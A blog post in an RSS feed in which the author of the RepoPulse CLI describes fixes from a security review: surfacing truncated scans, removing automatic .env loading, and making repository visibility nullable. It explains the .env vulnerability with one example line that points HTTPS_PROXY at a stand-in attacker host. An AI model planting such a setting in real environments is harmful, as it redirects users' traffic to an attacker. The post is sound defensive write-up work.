<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ali Assiri</title>
    <description>The latest articles on DEV Community by Ali Assiri (@ali_assiri_7b675f27f4d62f).</description>
    <link>https://dev.to/ali_assiri_7b675f27f4d62f</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4068243%2F741214a9-492b-4294-ab3d-5acc176ba267.png</url>
      <title>DEV Community: Ali Assiri</title>
      <link>https://dev.to/ali_assiri_7b675f27f4d62f</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ali_assiri_7b675f27f4d62f"/>
    <language>en</language>
    <item>
      <title>My repository health tool gave Chromium a score. It had only seen part of it.</title>
      <dc:creator>Ali Assiri</dc:creator>
      <pubDate>Sat, 08 Aug 2026 02:54:55 +0000</pubDate>
      <link>https://dev.to/ali_assiri_7b675f27f4d62f/my-repository-health-tool-gave-chromium-a-score-it-had-only-seen-part-of-it-1aeb</link>
      <guid>https://dev.to/ali_assiri_7b675f27f4d62f/my-repository-health-tool-gave-chromium-a-score-it-had-only-seen-part-of-it-1aeb</guid>
      <description>&lt;p&gt;I build a small CLI called &lt;a href="https://github.com/3ssiri/RepoPulse" rel="noopener noreferrer"&gt;RepoPulse&lt;/a&gt;. You point it at a GitHub repository — or a local folder — and it gives you a health report: a score out of 100, pass/warn/fail checks for things like README quality, license, tests, CI workflows, and sensitive file names, plus recommendations you can act on.&lt;/p&gt;

&lt;p&gt;Last week someone pasted an external security review of it into my terminal. Five findings — security and engineering issues. None were loud crashes; all were the kind of mistake that erodes trust in an analysis tool's results.&lt;/p&gt;

&lt;p&gt;This is a write-up of the two that changed how I think about building analysis tools — and the fixes, which shipped the same day.&lt;/p&gt;

&lt;h2&gt;
  
  
  The score that looked complete
&lt;/h2&gt;

&lt;p&gt;The second finding read, roughly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Local scans silently stop after 5000 files, and the GitHub path uses the recursive tree API without keeping the &lt;code&gt;truncated&lt;/code&gt; flag. A huge repository can get a score that looks complete while part of its files never entered the scan.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I went and looked. Both halves were true.&lt;/p&gt;

&lt;p&gt;The local directory walk had a safety cap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;MAX_FILES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;dirpath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dirnames&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;max_files&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;- silently done
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the GitHub client fetched the recursive tree and kept only the part it wanted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.../git/trees/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;?recursive=1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tree&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;       &lt;span class="c1"&gt;# &amp;lt;- data["truncated"] dropped on the floor
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub's tree API sets &lt;code&gt;truncated: true&lt;/code&gt; when a repository is too large to list in one response. My code read that field's sibling and threw the flag away.&lt;/p&gt;

&lt;p&gt;Here's why this class of bug is nastier than a crash. A crash tells you the tool failed. An exception tells you where. A silent cap tells you &lt;em&gt;nothing&lt;/em&gt; — it hands you a confident, complete-looking number that happens to describe a fraction of the repository. The tool doesn't fail; it &lt;strong&gt;projects more certainty than it actually has&lt;/strong&gt;. For an analysis tool, false confidence is the worst possible failure mode.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: carry the doubt all the way to the user
&lt;/h2&gt;

&lt;p&gt;The fix was mechanically simple and philosophically the whole point: &lt;strong&gt;when coverage is partial, the doubt must travel with the result.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Both file-listing paths now return what they found &lt;em&gt;and&lt;/em&gt; whether they finished:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;iter_local_files&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_files&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;MAX_FILES&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FileItem&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;truncated&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The report model gained one additive field, &lt;code&gt;scan_truncated&lt;/code&gt;, and every human-facing format prints an explicit warning. In a test I ran against Chromium with the released 0.3.6 — a repository genuinely too large for the tree API — the output was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chromium/chromium: 62 / 100 - Fair
Warning: File listing was truncated (repository too large for a full listing);
checks ran on a partial file list and results may be incomplete.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same score the old code would have shown. Completely different meaning. (Scores shift as repositories and checks evolve — treat that 62 as a documented run, not a fixed benchmark.)&lt;/p&gt;

&lt;p&gt;One detail for the automation crowd: the JSON contract treats additive fields as non-breaking, so &lt;code&gt;scan_truncated&lt;/code&gt; landed without a version bump. A later fix in the same batch — more on it below — &lt;em&gt;did&lt;/em&gt; change a field's type, and that one forced &lt;code&gt;schema_version&lt;/code&gt; 1.0 → 1.1. Having written rules for "what counts as breaking" before you need them turns these decisions into lookups instead of debates.&lt;/p&gt;

&lt;h2&gt;
  
  
  The finding that actually scared me
&lt;/h2&gt;

&lt;p&gt;The truncation bug damages trust. The fifth finding had teeth:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The CLI auto-loads &lt;code&gt;.env&lt;/code&gt; via &lt;code&gt;load_dotenv()&lt;/code&gt;. RepoPulse is a tool designed to scan repositories you may not trust, while it loads environment files from wherever it happens to run.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sit with the combination for a second. The tool's core use case is: &lt;em&gt;clone some repository you found, cd into it, run &lt;code&gt;repopulse scan .&lt;/code&gt;&lt;/em&gt;. And on startup, the tool called &lt;code&gt;load_dotenv()&lt;/code&gt; — which searches for a &lt;code&gt;.env&lt;/code&gt; file and loads it into the process environment.&lt;/p&gt;

&lt;p&gt;Where python-dotenv searches depends on how the process was started. I tested the paths empirically before touching anything, and in common invocation contexts the search lands &lt;strong&gt;inside the scanned repository&lt;/strong&gt; — the current directory in some contexts, or a parent of the virtualenv in the very common "create &lt;code&gt;.venv&lt;/code&gt; inside the project" setup.&lt;/p&gt;

&lt;p&gt;I reproduced the injection locally before fixing it: a &lt;code&gt;.env&lt;/code&gt; file inside the scan context could influence RepoPulse's process environment and change the network settings the &lt;code&gt;requests&lt;/code&gt; library uses — proxy variables, for instance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;HTTPS_PROXY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;http://attacker.example:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To be precise about the blast radius: redirecting HTTPS through a proxy does &lt;em&gt;not&lt;/em&gt; by itself expose the request contents — TLS to &lt;code&gt;api.github.com&lt;/code&gt; is tunneled end-to-end, so the &lt;code&gt;Authorization&lt;/code&gt; header stays encrypted. Escalating to actual token theft would take additional tampering with TLS trust. But that framing misses the point. For a tool whose job is scanning repositories you may not trust, the repository being scanned must have &lt;strong&gt;no way at all&lt;/strong&gt; to influence the environment the scanner runs in. Environment injection across that boundary is the vulnerability; everything after it is just a question of how far an attacker can push.&lt;/p&gt;

&lt;p&gt;So the fix was not "search for &lt;code&gt;.env&lt;/code&gt; more carefully" or "load only specific keys." The fix was deletion:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;-from dotenv import load_dotenv
-
-def load_environment() -&amp;gt; None:
-    load_dotenv()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dependency is gone from the project entirely. The GitHub token now comes from exactly two places: the &lt;code&gt;--token&lt;/code&gt; flag, or the process environment that you or your CI set explicitly. Convenience features and trust boundaries don't compose — when a tool's job is handling untrusted input, every "it just works" path is a path an attacker can walk too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Saying "I don't know" costs something. Pay it.
&lt;/h2&gt;

&lt;p&gt;A smaller finding from the same review: offline local scans reported &lt;code&gt;"private": false&lt;/code&gt; for every repository — including a clone of a private one. The tool wasn't lying maliciously; it just had a &lt;code&gt;bool&lt;/code&gt; field and had to put something there.&lt;/p&gt;

&lt;p&gt;That's the trap. The schema had no way to say &lt;em&gt;unknown&lt;/em&gt;, so the code guessed, and the guess looked exactly like a verified fact. The fix made the field nullable — &lt;code&gt;null&lt;/code&gt; in JSON, "Unknown" in reports — and that type change is what bumped the schema version. One version bump is the honest price of admitting uncertainty, and it's cheap compared to automation downstream treating a guess as truth.&lt;/p&gt;

&lt;p&gt;Three findings, one principle: &lt;strong&gt;an analysis tool must never present a guess, a partial result, or a default as a verified fact.&lt;/strong&gt; Truncation gets a flag. Unknown visibility gets a &lt;code&gt;null&lt;/code&gt;. And anything the tool can't verify, it should say so — in the machine output, not just in prose a human might read.&lt;/p&gt;

&lt;h2&gt;
  
  
  What shipped
&lt;/h2&gt;

&lt;p&gt;All five findings closed in &lt;a href="https://github.com/3ssiri/RepoPulse/releases/tag/v0.3.6" rel="noopener noreferrer"&gt;v0.3.6&lt;/a&gt;: partial scans are surfaced explicitly, the tool says "unknown" when it cannot verify repository visibility, &lt;code&gt;.env&lt;/code&gt; loading is gone, GitHub Actions are pinned to full commit SHAs with narrowed workflow permissions, and internal operational identifiers were moved out of tracked files. The fixes were written test-first, and each one became a standing rule in the project's contributor docs — so the lessons outlive my memory of the review.&lt;/p&gt;

&lt;p&gt;If you want the honest-coverage behavior in your own CI, it's two lines now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;3ssiri/RepoPulse@v1&lt;/span&gt;
  &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;fail-under&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;70"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The report lands in your workflow run summary, and &lt;code&gt;score&lt;/code&gt;, &lt;code&gt;grade&lt;/code&gt;, and &lt;code&gt;truncated&lt;/code&gt; come out as step outputs — so your pipeline can distinguish "this repository scored 62" from "this repository scored 62 &lt;em&gt;of the part we could see&lt;/em&gt;."&lt;/p&gt;

&lt;p&gt;That distinction is the whole article, really.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;RepoPulse is MIT-licensed: &lt;code&gt;pip install repopulse-cli&lt;/code&gt; (the CLI is &lt;code&gt;repopulse&lt;/code&gt;; the unhyphenated PyPI name is an unrelated package). Repo: &lt;a href="https://github.com/3ssiri/RepoPulse" rel="noopener noreferrer"&gt;https://github.com/3ssiri/RepoPulse&lt;/a&gt; — false-positive reports from real repositories are the contribution I want most.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>opensource</category>
      <category>github</category>
    </item>
  </channel>
</rss>
